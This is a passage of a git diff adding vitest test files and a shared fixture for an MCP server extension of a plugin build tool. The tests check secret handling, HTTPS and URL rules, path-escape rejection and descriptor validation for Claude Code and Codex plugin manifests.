Object.defineProperty(value, '__proto__', { value: true }); + return value; + })() as never`, + }); + /** 快照必须在执行 getter 前拒绝整个 descriptor。 */ + const accessor = await runProject({ cwd: accessorRoot, command: 'validate', mode: 'production' }); + + expect(accessor.success).toBe(false); + expect(accessor.diagnostics).toContainEqual(expect.objectContaining({ code: 'MCP_DESCRIPTOR_LOAD_FAILED' })); + + /** 类似索引的自定义字段也不能被 snapshot 静默忽略。 */ + const fieldRoot = await createProject({ + local: false, + remote: `(() => { + const scopes = ['docs:read']; + Object.defineProperty(scopes, '01', { value: 'docs:write' }); + return { transport: 'http', url: 'https://mcp.example.com/mcp', auth: { type: 'oauth', scopes } }; + })() as never`, + }); + /** 伪索引必须在 discover 数据边界失败。 */ + const field = await runProject({ cwd: fieldRoot, command: 'validate', mode: 'production' }); + + expect(field.success).toBe(false); + expect(field.diagnostics).toContainEqual(expect.objectContaining({ code: 'MCP_DESCRIPTOR_LOAD_FAILED' })); + + /** 字符串字段检查不能遗漏数组自身携带的 Symbol。 */ + const symbolRoot = await createProject({ + local: false, + remote: `(() => { + const scopes = ['docs:read']; + Object.defineProperty(scopes, Symbol.for('hidden'), { value: true }); + return { transport: 'http', url: 'https://mcp.example.com/mcp', auth: { type: 'oauth', scopes } }; + })() as never`, + }); + /** Symbol 不能进入纯 JSON descriptor State。 */ + const symbol = await runProject({ cwd: symbolRoot, command: 'validate', mode: 'production' }); + + expect(symbol.success).toBe(false); + expect(symbol.diagnostics).toContainEqual(expect.objectContaining({ code: 'MCP_DESCRIPTOR_LOAD_FAILED' })); + }); +}); diff --git a/packages/extensions/mcp/test/build-contributors.test.ts b/packages/extensions/mcp/test/build-contributors.test.ts new file mode 100644 index 0000000..670d606 --- /dev/null +++ b/packages/extensions/mcp/test/build-contributors.test.ts @@ -0,0 +1,77 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import { describe, expect, it } from 'vitest'; +import { createProject, executeNode, runProject } from './fixture.js'; + +describe('MCP Extension build and contributors', () => { + it('builds remote and local Servers once without reading or leaking Secret values', async () => { + /** 同时覆盖 HTTP、stdio、环境引用和第三方许可的工程。 */ + const root = await createProject(); + /** 用可检测的 Secret 值证明构建阶段只保留变量名称。 */ + const secret = 'MUST_NOT_APPEAR_IN_BUILD_OUTPUT_9f6a'; + /** 完整提交双 Platform 交付单元的构建结果。 */ + const result = await runProject( + { cwd: root, command: 'build', mode: 'production' }, + { DOCS_TOKEN: secret, DOCS_TENANT: secret, LOCAL_TOKEN: secret }, + ); + expect(result.success).toBe(true); + + /** Claude Code wrapped MCP 清单。 */ + const claude = JSON.parse(await fs.readFile( + path.join(root, 'dist/claude-code/plugin/.mcp.json'), + 'utf8', + )) as Record; + /** Codex direct MCP 清单。 */ + const codex = JSON.parse(await fs.readFile( + path.join(root, 'dist/codex/plugin/.mcp.json'), + 'utf8', + )) as Record; + expect(claude).toHaveProperty('mcpServers.docs.headers.Authorization', 'Bearer ${DOCS_TOKEN}'); + expect(claude).toHaveProperty('mcpServers.local-tools.args.0', '${CLAUDE_PLUGIN_ROOT}/mcp/local-tools/server.mjs'); + expect(codex).toMatchObject({ + 'docs': { + url: 'https://mcp.example.com/mcp', + bearer_token_env_var: 'DOCS_TOKEN', + env_http_headers: { 'X-Tenant': 'DOCS_TENANT' }, + http_headers: { 'X-Client': 'acplugin-test' }, + }, + 'local-tools': { + command: 'node', + args: ['./mcp/local-tools/server.mjs'], + cwd: '.', + env: { LOG_LEVEL: 'warn' }, + env_vars: ['LOCAL_TOKEN'], + }, + }); + expect(JSON.stringify({ result, claude, codex })).not.toContain(secret); + + /** 两个平台复用同一平台中立 Server Bundle。 */ + const claudeServer = path.join(root, 'dist/claude-code/plugin/mcp/local-tools/server.mjs'); + /** Codex 安装包中的同一 Server Bundle。 */ + const codexServer = path.join(root, 'dist/codex/plugin/mcp/local-tools/server.mjs'); + expect(await fs.readFile(claudeServer)).toEqual(await fs.readFile(codexServer)); + expect((await fs.stat(codexServer)).mode & 0o111).not.toBe(0); + expect(await fs.readFile( + path.join(root, 'dist/codex/plugin/mcp/local-tools/THIRD_PARTY_LICENSES.txt'), + 'utf8', + )).toContain('mcp-fixture-dependency@4.5.6'); + + /** 使用真实 initialize/list-tools JSON-RPC 流验证安装产物可执行。 */ + const protocolInput = [ + JSON.stringify({ + jsonrpc: '2.0', id: 1, method: 'initialize', + params: { protocolVersion: '2025-11-25', capabilities: {}, clientInfo: { name: 'test', version: '1.0.0' } }, + }), + JSON.stringify({ jsonrpc: '2.0', method: 'notifications/initialized' }), + JSON.stringify({ jsonrpc: '2.0', id: 2, method: 'tools/list', params: {} }), + '', + ].join('\n'); + /** 本地 Bundle 的实际协议响应。 */ + const execution = await executeNode([codexServer], protocolInput); + expect(execution).toMatchObject({ code: 0, stderr: '' }); + expect(execution.stdout.trim().split('\n').map(line => JSON.parse(line))).toEqual([ + expect.objectContaining({ id: 1, result: expect.objectContaining({ serverInfo: { name: 'fixture', version: '1.0.0' } }) }), + { jsonrpc: '2.0', id: 2, result: { tools: [] } }, + ]); + }); +}); diff --git a/packages/extensions/mcp/test/discovery-validation.test.ts b/packages/extensions/mcp/test/discovery-validation.test.ts new file mode 100644 index 0000000..df3ac74 --- /dev/null +++ b/packages/extensions/mcp/test/discovery-validation.test.ts @@ -0,0 +1,104 @@ +import { describe, expect, it } from 'vitest'; +import { createProject, runProject } from './fixture.js'; + +describe('MCP Extension discovery validation', () => { + it('enforces production URL, value-source, entry, and include safety', async () => { + /** 使用 HTTP、非法认证和值来源的远程定义。 */ + const remoteRoot = await createProject({ + local: false, + remote: `{ + transport: 'http', + url: 'http://example.com/mcp', + auth: { type: 'bearer', env: 'INVALID-NAME' }, + headers: { 'X-Secret': { value: 'public', env: 'PRIVATE_TOKEN' } }, + } as never`, + mcpOptions: `{ include: ['docs'] }`, + }); + /** 远程安全策略产生的结构化失败结果。 */ + const remote = await runProject({ cwd: remoteRoot, command: 'validate', mode: 'production' }); + expect(remote.success).toBe(false); + expect(remote.diagnostics).toEqual(expect.arrayContaining([ + expect.objectContaining({ code: 'MCP_HTTPS_REQUIRED' }), + expect.objectContaining({ code: 'MCP_BEARER_INVALID' }), + expect.objectContaining({ code: 'MCP_VALUE_SOURCE_INVALID' }), + ])); + /** 单独工程验证 include 指向不存在资源时的诊断。 */ + const includeRoot = await createProject({ local: false, mcpOptions: `{ include: ['missing'] }` }); + /** 执行 include fixture 并读取稳定诊断。 */ + const include = await runProject({ cwd: includeRoot, command: 'validate', mode: 'production' }); + expect(include.diagnostics).toContainEqual(expect.objectContaining({ code: 'MCP_INCLUDE_MISSING' })); + + /** 使用目录逃逸入口的本地定义。 */ + const localRoot = await createProject({ + remote: false, + local: `{ transport: 'stdio', entry: '../outside.ts' }`, + }); + /** 入口边界验证必须在 Bundle 之前失败。 */ + const local = await runProject({ cwd: localRoot, command: 'validate', mode: 'production' }); + expect(local.success).toBe(false); + expect(local.diagnostics).toContainEqual(expect.objectContaining({ code: 'MCP_ENTRY_ESCAPE' })); + }); + + it('enforces exact transport, auth, URL, and stdio entry variants', async () => { + /** HTTP 不能携带 stdio 字段,none auth 不能携带 bearer 字段。 */ + const httpRoot = await createProject({ + local: false, + remote: `{ transport: 'http', url: 'https://mcp.example.com/mcp', entry: 'server.ts', env: {}, auth: { type: 'none', env: 'TOKEN' } } as never`, + }); + /** 跨判别分支字段必须在 Extension validate 阶段失败。 */ + const http = await runProject({ cwd: httpRoot, command: 'validate', mode: 'production' }); + expect(http.success).toBe(false); + expect(http.diagnostics.filter(diagnostic => diagnostic.code === 'MCP_FIELD_UNKNOWN').length).toBeGreaterThanOrEqual(3); + + /** bearer 与 oauth 认证分支各自拒绝另一分支的字段。 */ + for (const auth of [ + `{ type: 'bearer', env: 'TOKEN', scopes: ['docs:read'] }`, + `{ type: 'oauth', scopes: ['docs:read'], env: 'TOKEN' }`, + ]) { + /** 当前认证分支交叉字段的独立 HTTP fixture。 */ + const authRoot = await createProject({ + local: false, + remote: `{ transport: 'http', url: 'https://mcp.example.com/mcp', auth: ${auth} } as never`, + }); + /** exact discriminated union 必须在领域 validate 阶段拒绝交叉字段。 */ + const authResult = await runProject({ cwd: authRoot, command: 'validate', mode: 'production' }); + expect(authResult.success).toBe(false); + expect(authResult.diagnostics).toContainEqual(expect.objectContaining({ code: 'MCP_FIELD_UNKNOWN' })); + } + + /** stdio 不能携带 HTTP 字段或任何 HTTP auth。 */ + const stdioRoot = await createProject({ + remote: false, + local: `{ transport: 'stdio', entry: 'server.ts', url: 'https://mcp.example.com', headers: {}, auth: { type: 'bearer', env: 'TOKEN' } } as never`, + }); + /** 顶层 transport exact union 不依赖 TypeScript 静态检查。 */ + const stdio = await runProject({ cwd: stdioRoot, command: 'validate', mode: 'production' }); + expect(stdio.success).toBe(false); + expect(stdio.diagnostics.filter(diagnostic => diagnostic.code === 'MCP_FIELD_UNKNOWN').length).toBeGreaterThanOrEqual(3); + + /** development 也只允许 HTTPS 或 loopback HTTP,不能放行其他 scheme。 */ + const schemeRoot = await createProject({ local: false, remote: `{ transport: 'http', url: 'ftp://localhost/mcp' }` }); + /** 非 HTTP(S) scheme 必须产生稳定 URL 失败。 */ + const scheme = await runProject({ cwd: schemeRoot, command: 'validate', mode: 'development' }); + expect(scheme.diagnostics).toContainEqual(expect.objectContaining({ code: 'MCP_URL_INVALID' })); + + /** 文档化的 canonical entry 和 development loopback URL 都合法。 */ + const validRoot = await createProject({ remote: `{ transport: 'http', url: 'http://127.0.0.1:3000/mcp' }`, local: `{ transport: 'stdio', entry: 'server.ts' }` }); + /** validate 不执行 stdio smoke,但应完整通过作者 schema。 */ + const valid = await runProject({ cwd: validRoot, command: 'validate', mode: 'development' }); + expect(valid.success).toBe(true); + + /** dot、空 segment、反斜线和父目录 spelling 都不能被静默 normalize。 */ + for (const entry of ['./server.ts', '.', 'nested//server.ts', 'nested\\server.ts', '../server.ts', '/server.ts']) { + /** 每个非法 spelling 使用独立工程,避免诊断相互掩盖。 */ + const root = await createProject({ remote: false, local: `{ transport: 'stdio', entry: ${JSON.stringify(entry)} }` }); + /** 路径语法错误必须与真实缺失文件区分。 */ + const result = await runProject({ cwd: root, command: 'validate', mode: 'production' }); + expect(result.success).toBe(false); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ + code: entry.startsWith('/') || entry.includes('../') ? 'MCP_ENTRY_ESCAPE' : 'MCP_ENTRY_INVALID', + })); + expect(result.diagnostics).not.toContainEqual(expect.objectContaining({ code: 'MCP_ENTRY_MISSING' })); + } + }); +}); diff --git a/packages/extensions/mcp/test/fixture.ts b/packages/extensions/mcp/test/fixture.ts new file mode 100644 index 0000000..06ae3ec --- /dev/null +++ b/packages/extensions/mcp/test/fixture.ts @@ -0,0 +1,274 @@ +import { spawn } from 'node:child_process'; +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { afterEach } from 'vitest'; +import type { BuildReport, RunProjectOptions } from '@tokenroll/acplugin'; + +/** 当前测试文件所在仓库的绝对根目录。 */ +const repositoryRoot = path.resolve(import.meta.dirname, '../../../..'); + +/** 测试描述文件通过临时包入口加载的 MCP Extension 构建产物。 */ +const extensionEntry = path.join(repositoryRoot, 'packages/extensions/mcp/dist/index.mjs'); + +/** 测试子进程直接加载的主包构建产物。 */ +const acpluginEntry = path.join(repositoryRoot, 'packages/acplugin/dist/index.mjs'); + +/** MCP 生命周期测试显式配置的两个独立 Platform 构建入口。 */ +const claudeCodeEntry = path.join(repositoryRoot, 'packages/platforms/claude-code/dist/index.mjs'); +/** MCP 生命周期测试显式配置的 Codex Platform 构建入口。 */ +const codexEntry = path.join(repositoryRoot, 'packages/platforms/codex/dist/index.mjs'); + +/** 真实 MCP SDK package root,测试工程通过正常 package-manager symlink 使用。 */ +const mcpSdkRoot = path.resolve(path.dirname(fileURLToPath(import.meta.resolve('@modelcontextprotocol/sdk/server/index.js'))), '../../..'); + +/** 当前测试创建并在 afterEach 中统一删除的临时工程。 */ +const temporaryRoots: string[] = []; + +/** 子进程的稳定退出状态和有限输出。 */ +interface ProcessResult { + /** Node 子进程退出码。 */ + readonly code: number | null; + /** 子进程完整标准输出。 */ + readonly stdout: string; + /** 子进程完整标准错误。 */ + readonly stderr: string; +} + +/** 创建临时规范工程时使用的 MCP fixture 选项。 */ +interface ProjectFixtureOptions { + /** 直接传入 `mcp(...)` 的可选 TypeScript 参数表达式。 */ + readonly mcpOptions?: string; + /** 远程 Server 描述对象表达式;false 表示不创建。 */ + readonly remote?: string | false; + /** 本地 Server 描述对象表达式;false 表示不创建。 */ + readonly local?: string | false; + /** 本地 Server 入口源码。 */ + readonly serverSource?: string; + /** 构建命令使用的顶层配置补充。 */ + readonly configFields?: string; +} + +/** + * 在原生 Node ESM 子进程中运行公开 API,确保共享 registry brand 只绑定一个主包实例。 + * + * @param options 可 JSON 序列化的项目运行选项。 + * @param environment 测试构建阶段显式加入的环境变量。 + * @returns 公开 API 产生的结构化 BuildReport。 + */ +export async function runProject( + options: RunProjectOptions, + environment: Readonly> = {}, +): Promise { + /** 子进程直接导入真实主包构建产物并序列化结果的 ESM 源码。 */ + const source = ` +import { runProject } from ${JSON.stringify(acpluginEntry)}; +try { + const result = await runProject(${JSON.stringify(options)}); + process.stdout.write(JSON.stringify({ ok: true, result })); +} catch (error) { + process.stdout.write(JSON.stringify({ + ok: false, + name: error instanceof Error ? error.name : 'Error', + message: error instanceof Error ? error.message : 'Project execution failed.', + diagnostics: error && typeof error === 'object' && 'diagnostics' in error ? error.diagnostics : [], + })); +} +`; + /** 原生 ESM 子进程的执行结果。 */ + const execution = await executeNode(['--input-type=module', '--eval', source], '', environment); + if (execution.code !== 0) + throw new Error(`Project subprocess failed: ${execution.stderr}`); + /** 子进程返回的成功结果或安全异常摘要。 */ + const payload = JSON.parse(execution.stdout) as { + readonly ok: boolean; + readonly result?: BuildReport; + readonly name?: string; + readonly message?: string; + }; + if (!payload.ok || payload.result === undefined) + throw new Error(`${payload.name ?? 'Error'}: ${payload.message ?? 'Project execution failed.'}`); + return payload.result; +} + +/** + * 运行一个 Node 子进程并完整收集测试所需输出。 + * + * @param arguments_ 传给 Node 的参数。 + * @param input 写入标准输入的协议文本。 + * @param environment 追加到宿主环境的测试变量。 + * @returns 稳定退出码和标准输出、错误输出。 + */ +export async function executeNode( + arguments_: readonly string[], + input: string, + environment: Readonly> = {}, +): Promise { + return new Promise((resolve, reject) => { + /** 不经过 shell 的真实 Node 子进程。 */ + const child = spawn(process.execPath, arguments_, { + env: { ...process.env, ...environment }, + stdio: ['pipe', 'pipe', 'pipe'], + }); + /** 子进程累计的标准输出。 */ + let stdout = ''; + /** 子进程累计的标准错误。 */ + let stderr = ''; + child.stdout.setEncoding('utf8'); + child.stderr.setEncoding('utf8'); + child.stdout.on('data', (chunk: string) => { + stdout += chunk; + }); + child.stderr.on('data', (chunk: string) => { + stderr += chunk; + }); + child.on('error', reject); + child.on('close', code => resolve({ code, stdout, stderr })); + child.stdin.end(input); + }); +} + +/** + * 在临时工程中创建可由统一 Module Service 和 Rolldown 共同解析的 Extension 包入口。 + * + * @param root 临时工程根目录。 + */ +async function writeExtensionProxy(root: string): Promise { + /** 临时 node_modules 中的 MCP Extension 包目录。 */ + const packageRoot = path.join(root, 'node_modules/@tokenroll/acplugin-extension-mcp'); + await fs.mkdir(packageRoot, { recursive: true }); + await fs.writeFile(path.join(packageRoot, 'package.json'), JSON.stringify({ + name: '@tokenroll/acplugin-extension-mcp', + version: '1.0.0', + type: 'module', + exports: './index.mjs', + })); + await fs.writeFile( + path.join(packageRoot, 'index.mjs'), + `export * from ${JSON.stringify(extensionEntry)}; export { default } from ${JSON.stringify(extensionEntry)};\n`, + ); + /** 主包与 SDK 代理保持与真实 tarball 相同的 package identity。 */ + const acpluginRoot = path.join(root, 'node_modules/@tokenroll/acplugin'); + await fs.mkdir(acpluginRoot, { recursive: true }); + await fs.writeFile(path.join(acpluginRoot, 'package.json'), JSON.stringify({ + name: '@tokenroll/acplugin', version: '1.0.0', type: 'module', exports: { '.': './index.mjs', './sdk': './sdk.mjs' }, + })); + await fs.writeFile(path.join(acpluginRoot, 'index.mjs'), `export * from ${JSON.stringify(acpluginEntry)};\n`); + await fs.writeFile(path.join(acpluginRoot, 'sdk.mjs'), `export * from ${JSON.stringify(path.join(repositoryRoot, 'packages/acplugin/dist/sdk.mjs'))};\n`); + for (const [name, entry] of [ + ['@tokenroll/acplugin-platform-claude-code', claudeCodeEntry], + ['@tokenroll/acplugin-platform-codex', codexEntry], + ] as const) { + /** 当前官方 Platform 的测试代理目录。 */ + const platformRoot = path.join(root, 'node_modules', name); + await fs.mkdir(platformRoot, { recursive: true }); + await fs.writeFile(path.join(platformRoot, 'package.json'), JSON.stringify({ name, version: '1.0.0', type: 'module', exports: './index.mjs' })); + await fs.writeFile(path.join(platformRoot, 'index.mjs'), `export * from ${JSON.stringify(entry)}; export { default } from ${JSON.stringify(entry)};\n`); + } + /** pnpm 依赖 symlink 是合法 package 边界,不属于作者源码 symlink。 */ + const sdkRoot = path.join(root, 'node_modules/@modelcontextprotocol/sdk'); + await fs.mkdir(path.dirname(sdkRoot), { recursive: true }); + await fs.symlink(mcpSdkRoot, sdkRoot, 'dir'); +} + +/** + * 写入一个实际参与 Bundle 和第三方许可收集的本地 npm 依赖。 + * + * @param root 临时工程根目录。 + */ +async function writeLicensedDependency(root: string): Promise { + /** 临时 node_modules 中的第三方测试包目录。 */ + const packageRoot = path.join(root, 'node_modules/mcp-fixture-dependency'); + await fs.mkdir(packageRoot, { recursive: true }); + await fs.writeFile(path.join(packageRoot, 'package.json'), JSON.stringify({ + name: 'mcp-fixture-dependency', + version: '4.5.6', + type: 'module', + exports: './index.js', + license: 'MIT', + })); + await fs.writeFile(path.join(packageRoot, 'index.js'), 'export const serverName = "fixture";\n'); + await fs.writeFile(path.join(packageRoot, 'LICENSE'), 'MCP fixture dependency license.\n'); +} + +/** + * 创建带最小 Skill、配置和可选远程/本地 MCP 的真实临时工程。 + * + * @param options MCP 定义、入口和构建配置。 + * @returns 已登记清理的工程绝对路径。 + */ +export async function createProject(options: ProjectFixtureOptions = {}): Promise { + /** 当前测试独占的临时工程根目录。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-mcp-test-')); + temporaryRoots.push(root); + await writeExtensionProxy(root); + await writeLicensedDependency(root); + await fs.mkdir(path.join(root, 'src/skills/hello'), { recursive: true }); + await fs.writeFile( + path.join(root, 'src/skills/hello/SKILL.md'), + '---\ndescription: Say hello.\n---\nSay hello to the user.\n', + ); + if (options.remote !== false) { + await fs.mkdir(path.join(root, 'src/mcp/docs'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/mcp/docs/mcp.ts'), ` +import type { McpServer } from '@tokenroll/acplugin-extension-mcp'; +export default ${options.remote ?? `{ + transport: 'http', + url: 'https://mcp.example.com/mcp', + auth: { type: 'bearer', env: 'DOCS_TOKEN' }, + headers: { 'X-Tenant': { env: 'DOCS_TENANT' }, 'X-Client': { value: 'acplugin-test' } }, +}`} satisfies McpServer; +`); + } + if (options.local !== false) { + await fs.mkdir(path.join(root, 'src/mcp/local-tools'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/mcp/local-tools/mcp.ts'), ` +import type { McpServer } from '@tokenroll/acplugin-extension-mcp'; +export default ${options.local ?? `{ + transport: 'stdio', + env: { LOG_LEVEL: { value: 'warn' }, API_TOKEN: { env: 'LOCAL_TOKEN' } }, +}`} satisfies McpServer; +`); + await fs.writeFile(path.join(root, 'src/mcp/local-tools/server.ts'), options.serverSource ?? ` +import { serverName } from 'mcp-fixture-dependency'; +let buffer = ''; +process.stdin.setEncoding('utf8'); +process.stdin.on('data', (chunk) => { + buffer += chunk; + const lines = buffer.split('\\n'); + buffer = lines.pop() ?? ''; + for (const line of lines.filter(Boolean)) { + const message = JSON.parse(line); + if (message.method === 'initialize') { + process.stdout.write(JSON.stringify({ jsonrpc: '2.0', id: message.id, result: { + protocolVersion: message.params.protocolVersion, + capabilities: { tools: {} }, + serverInfo: { name: serverName, version: '1.0.0' }, + } }) + '\\n'); + } else if (message.method === 'tools/list') { + process.stdout.write(JSON.stringify({ jsonrpc: '2.0', id: message.id, result: { tools: [] } }) + '\\n'); + } + } +}); +`); + } + await fs.writeFile(path.join(root, 'acplugin.config.ts'), ` +import mcp from '@tokenroll/acplugin-extension-mcp'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; +import codex from '@tokenroll/acplugin-platform-codex'; +export default { + name: 'mcp-fixture', + version: '1.0.0', + description: 'MCP integration fixture.', + platforms: [claudeCode(), codex()], + extensions: [mcp(${options.mcpOptions ?? ''})], + ${options.configFields ?? 'build: { strict: false },'} +}; +`); + return root; +} + +afterEach(async () => { + await Promise.all(temporaryRoots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); diff --git a/packages/extensions/mcp/test/mcp.test.ts b/packages/extensions/mcp/test/mcp.test.ts deleted file mode 100644 index b9c1b0d..0000000 --- a/packages/extensions/mcp/test/mcp.test.ts +++ /dev/null @@ -1,644 +0,0 @@ -import { spawn } from 'node:child_process'; -import { promises as fs } from 'node:fs'; -import os from 'node:os'; -import path from 'node:path'; -import { fileURLToPath } from 'node:url'; -import { afterEach, describe, expect, it } from 'vitest'; -import type { BuildReport, RunProjectOptions } from '@tokenroll/acplugin'; -import mcp, { EXTENSION_NAME } from '../src/index.js'; -import { compareCodeUnits } from '../src/sorting.js'; - -/** 当前测试文件所在仓库的绝对根目录。 */ -const repositoryRoot = path.resolve(import.meta.dirname, '../../../..'); - -/** 测试描述文件通过临时包入口加载的 MCP Extension 构建产物。 */ -const extensionEntry = path.join(repositoryRoot, 'packages/extensions/mcp/dist/index.mjs'); - -/** 测试子进程直接加载的主包构建产物。 */ -const acpluginEntry = path.join(repositoryRoot, 'packages/acplugin/dist/index.mjs'); - -/** MCP 生命周期测试显式配置的两个独立 Platform 构建入口。 */ -const claudeCodeEntry = path.join(repositoryRoot, 'packages/platforms/claude-code/dist/index.mjs'); -/** MCP 生命周期测试显式配置的 Codex Platform 构建入口。 */ -const codexEntry = path.join(repositoryRoot, 'packages/platforms/codex/dist/index.mjs'); - -/** 真实 MCP SDK package root,测试工程通过正常 package-manager symlink 使用。 */ -const mcpSdkRoot = path.resolve(path.dirname(fileURLToPath(import.meta.resolve('@modelcontextprotocol/sdk/server/index.js'))), '../../..'); - -/** 当前测试创建并在 afterEach 中统一删除的临时工程。 */ -const temporaryRoots: string[] = []; - -/** 子进程的稳定退出状态和有限输出。 */ -interface ProcessResult { - /** Node 子进程退出码。 */ - readonly code: number | null; - /** 子进程完整标准输出。 */ - readonly stdout: string; - /** 子进程完整标准错误。 */ - readonly stderr: string; -} - -/** 创建临时规范工程时使用的 MCP fixture 选项。 */ -interface ProjectFixtureOptions { - /** 直接传入 `mcp(...)` 的可选 TypeScript 参数表达式。 */ - readonly mcpOptions?: string; - /** 远程 Server 描述对象表达式;false 表示不创建。 */ - readonly remote?: string | false; - /** 本地 Server 描述对象表达式;false 表示不创建。 */ - readonly local?: string | false; - /** 本地 Server 入口源码。 */ - readonly serverSource?: string; - /** 构建命令使用的顶层配置补充。 */ - readonly configFields?: string; -} - -/** - * 在原生 Node ESM 子进程中运行公开 API,确保共享 registry brand 只绑定一个主包实例。 - * - * @param options 可 JSON 序列化的项目运行选项。 - * @param environment 测试构建阶段显式加入的环境变量。 - * @returns 公开 API 产生的结构化 BuildReport。 - */ -async function runProject( - options: RunProjectOptions, - environment: Readonly> = {}, -): Promise { - /** 子进程直接导入真实主包构建产物并序列化结果的 ESM 源码。 */ - const source = ` -import { runProject } from ${JSON.stringify(acpluginEntry)}; -try { - const result = await runProject(${JSON.stringify(options)}); - process.stdout.write(JSON.stringify({ ok: true, result })); -} catch (error) { - process.stdout.write(JSON.stringify({ - ok: false, - name: error instanceof Error ? error.name : 'Error', - message: error instanceof Error ? error.message : 'Project execution failed.', - diagnostics: error && typeof error === 'object' && 'diagnostics' in error ? error.diagnostics : [], - })); -} -`; - /** 原生 ESM 子进程的执行结果。 */ - const execution = await executeNode(['--input-type=module', '--eval', source], '', environment); - if (execution.code !== 0) - throw new Error(`Project subprocess failed: ${execution.stderr}`); - /** 子进程返回的成功结果或安全异常摘要。 */ - const payload = JSON.parse(execution.stdout) as { - readonly ok: boolean; - readonly result?: BuildReport; - readonly name?: string; - readonly message?: string; - }; - if (!payload.ok || payload.result === undefined) - throw new Error(`${payload.name ?? 'Error'}: ${payload.message ?? 'Project execution failed.'}`); - return payload.result; -} - -/** - * 运行一个 Node 子进程并完整收集测试所需输出。 - * - * @param arguments_ 传给 Node 的参数。 - * @param input 写入标准输入的协议文本。 - * @param environment 追加到宿主环境的测试变量。 - * @returns 稳定退出码和标准输出、错误输出。 - */ -async function executeNode( - arguments_: readonly string[], - input: string, - environment: Readonly> = {}, -): Promise { - return new Promise((resolve, reject) => { - /** 不经过 shell 的真实 Node 子进程。 */ - const child = spawn(process.execPath, arguments_, { - env: { ...process.env, ...environment }, - stdio: ['pipe', 'pipe', 'pipe'], - }); - /** 子进程累计的标准输出。 */ - let stdout = ''; - /** 子进程累计的标准错误。 */ - let stderr = ''; - child.stdout.setEncoding('utf8'); - child.stderr.setEncoding('utf8'); - child.stdout.on('data', (chunk: string) => { - stdout += chunk; - }); - child.stderr.on('data', (chunk: string) => { - stderr += chunk; - }); - child.on('error', reject); - child.on('close', code => resolve({ code, stdout, stderr })); - child.stdin.end(input); - }); -} - -/** - * 在临时工程中创建可由统一 Module Service 和 Rolldown 共同解析的 Extension 包入口。 - * - * @param root 临时工程根目录。 - */ -async function writeExtensionProxy(root: string): Promise { - /** 临时 node_modules 中的 MCP Extension 包目录。 */ - const packageRoot = path.join(root, 'node_modules/@tokenroll/acplugin-extension-mcp'); - await fs.mkdir(packageRoot, { recursive: true }); - await fs.writeFile(path.join(packageRoot, 'package.json'), JSON.stringify({ - name: '@tokenroll/acplugin-extension-mcp', - version: '1.0.0', - type: 'module', - exports: './index.mjs', - })); - await fs.writeFile( - path.join(packageRoot, 'index.mjs'), - `export * from ${JSON.stringify(extensionEntry)}; export { default } from ${JSON.stringify(extensionEntry)};\n`, - ); - /** 主包与 SDK 代理保持与真实 tarball 相同的 package identity。 */ - const acpluginRoot = path.join(root, 'node_modules/@tokenroll/acplugin'); - await fs.mkdir(acpluginRoot, { recursive: true }); - await fs.writeFile(path.join(acpluginRoot, 'package.json'), JSON.stringify({ - name: '@tokenroll/acplugin', version: '1.0.0', type: 'module', exports: { '.': './index.mjs', './sdk': './sdk.mjs' }, - })); - await fs.writeFile(path.join(acpluginRoot, 'index.mjs'), `export * from ${JSON.stringify(acpluginEntry)};\n`); - await fs.writeFile(path.join(acpluginRoot, 'sdk.mjs'), `export * from ${JSON.stringify(path.join(repositoryRoot, 'packages/acplugin/dist/sdk.mjs'))};\n`); - for (const [name, entry] of [ - ['@tokenroll/acplugin-platform-claude-code', claudeCodeEntry], - ['@tokenroll/acplugin-platform-codex', codexEntry], - ] as const) { - /** 当前官方 Platform 的测试代理目录。 */ - const platformRoot = path.join(root, 'node_modules', name); - await fs.mkdir(platformRoot, { recursive: true }); - await fs.writeFile(path.join(platformRoot, 'package.json'), JSON.stringify({ name, version: '1.0.0', type: 'module', exports: './index.mjs' })); - await fs.writeFile(path.join(platformRoot, 'index.mjs'), `export * from ${JSON.stringify(entry)}; export { default } from ${JSON.stringify(entry)};\n`); - } - /** pnpm 依赖 symlink 是合法 package 边界,不属于作者源码 symlink。 */ - const sdkRoot = path.join(root, 'node_modules/@modelcontextprotocol/sdk'); - await fs.mkdir(path.dirname(sdkRoot), { recursive: true }); - await fs.symlink(mcpSdkRoot, sdkRoot, 'dir'); -} - -/** - * 写入一个实际参与 Bundle 和第三方许可收集的本地 npm 依赖。 - * - * @param root 临时工程根目录。 - */ -async function writeLicensedDependency(root: string): Promise { - /** 临时 node_modules 中的第三方测试包目录。 */ - const packageRoot = path.join(root, 'node_modules/mcp-fixture-dependency'); - await fs.mkdir(packageRoot, { recursive: true }); - await fs.writeFile(path.join(packageRoot, 'package.json'), JSON.stringify({ - name: 'mcp-fixture-dependency', - version: '4.5.6', - type: 'module', - exports: './index.js', - license: 'MIT', - })); - await fs.writeFile(path.join(packageRoot, 'index.js'), 'export const serverName = "fixture";\n'); - await fs.writeFile(path.join(packageRoot, 'LICENSE'), 'MCP fixture dependency license.\n'); -} - -/** - * 创建带最小 Skill、配置和可选远程/本地 MCP 的真实临时工程。 - * - * @param options MCP 定义、入口和构建配置。 - * @returns 已登记清理的工程绝对路径。 - */ -async function createProject(options: ProjectFixtureOptions = {}): Promise { - /** 当前测试独占的临时工程根目录。 */ - const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-mcp-test-')); - temporaryRoots.push(root); - await writeExtensionProxy(root); - await writeLicensedDependency(root); - await fs.mkdir(path.join(root, 'src/skills/hello'), { recursive: true }); - await fs.writeFile( - path.join(root, 'src/skills/hello/SKILL.md'), - '---\ndescription: Say hello.\n---\nSay hello to the user.\n', - ); - if (options.remote !== false) { - await fs.mkdir(path.join(root, 'src/mcp/docs'), { recursive: true }); - await fs.writeFile(path.join(root, 'src/mcp/docs/mcp.ts'), ` -import type { McpServer } from '@tokenroll/acplugin-extension-mcp'; -export default ${options.remote ?? `{ - transport: 'http', - url: 'https://mcp.example.com/mcp', - auth: { type: 'bearer', env: 'DOCS_TOKEN' }, - headers: { 'X-Tenant': { env: 'DOCS_TENANT' }, 'X-Client': { value: 'acplugin-test' } }, -}`} satisfies McpServer; -`); - } - if (options.local !== false) { - await 